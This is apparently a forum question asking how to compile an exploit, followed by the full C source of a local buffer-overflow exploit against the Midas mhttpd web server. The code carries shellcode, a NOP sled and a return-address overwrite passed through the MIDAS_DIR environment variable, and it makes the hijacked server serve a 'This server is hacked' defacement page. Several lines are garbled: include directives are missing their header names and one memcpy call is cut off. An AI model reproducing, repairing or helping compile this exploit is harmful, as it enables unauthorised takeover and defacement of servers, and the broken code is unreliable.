How do i compile this exploit

Description

btw,im using win98



#include
#include stat.h>
#include
#include socket.h>
#include in.h>
#include
#include

#define BUFFER_SIZE 280 + 8
#define NOP 0x90
#define RET 0xbfffc090

char shellcode[] =

"\xeb\x38\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x04"
"\xb1\x03\x89\x0e\xb1\x01\x89\x4e\x04\x89\xf1\xcd\x80\x31\xc0"
"\x43\x89\x46\x04\x89\x46\x08\xb0\x66\xcd\x80\x89\xc3\x8d\x4e"
"\x0c\xb2\x7a\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\xe8\xc3"
"\xff\xff\xff\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43"
"\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b"
"\x0a\x53\x65\x72\x76\x65\x72\x3a\x20\x73\x61\x66\x65\x6d\x6f"
"\x64\x65\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"
"\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0a\x0a\x3c\x48"
"\x54\x4d\x4c\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x32"
"\x3e\x21\x21\x20\x54\x68\x69\x73\x20\x73\x65\x72\x76\x65\x72"
"\x20\x69\x73\x20\x68\x61\x63\x6b\x65\x64\x20\x21\x21\x3c\x2f"
"\x68\x32\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x54\x4d"
"\x4c\x3e";

void print_error(char * burb) {
  printf(" Error: %s !\n",burb); exit(0);
}

void usage(char *progname) {
  printf("\n*--- -- -  Midas mhttpd local b0f exploit - -- ---*\n");
  printf("\nDefault: %s  -f /path/to/mhttpd",progname);
  printf("\nOption : %s  -o \n\n",progname);
  exit(0);
}

int main(int argc, char **argv){
  
  char buffer[BUFFER_SIZE];
  char file[40];
  long retaddress;
  int arg,offset=240;
  int pid, fd = 0,port = 80;
  
  struct stat sbuf;
  
  if(argc < 2) { usage(argv[0]); }
  
  while ((arg = getopt (argc, argv, "f:")) != -1){
    switch (arg){
    case 'f':
      strncpy(file,optarg,sizeof(file));
      if(stat(argv[2], &sbuf)) { print_error("No such file");}
      break;
    case 'o':      
      offset = atoi(optarg);
      if(offset < 0) { print_error("Offset must be positive");}
      break;
    default :      
      usage(argv[0]);
    }
  }
  
  retaddress = (RET - offset);
  memset(buffer,NOP,BUFFER_SIZE);
  memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + ,shellcode,sizeof(shellcode) -1);
  
  /* Overwrite EBP and EIP */
  *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;
  
  if((pid = fork()) == 0) {
    sleep(2);
    fd = connection("127.0.0.1",80);
    write(fd,"GET /p00p HTTP/1.0\r\n\r\n",22);
  } else {
   
    setenv("MIDAS_DIR",buffer,1);
    if(execl(file,file,"-p","80",NULL) != 0) {
    }
  }
  return 0;
}

int connection(char* host, int port)
{
  struct sockaddr_in s_in;
  int sock;
  
  s_in.sin_family = AF_INET;
  s_in.sin_addr.s_addr = inet_addr(host);
  s_in.sin_port = htons(port);
  
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
    printf("Sorry, could not create a socket\n");
    exit(1);
  }
  
  if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
    printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
    exit(1);
  }
  return sock;
}

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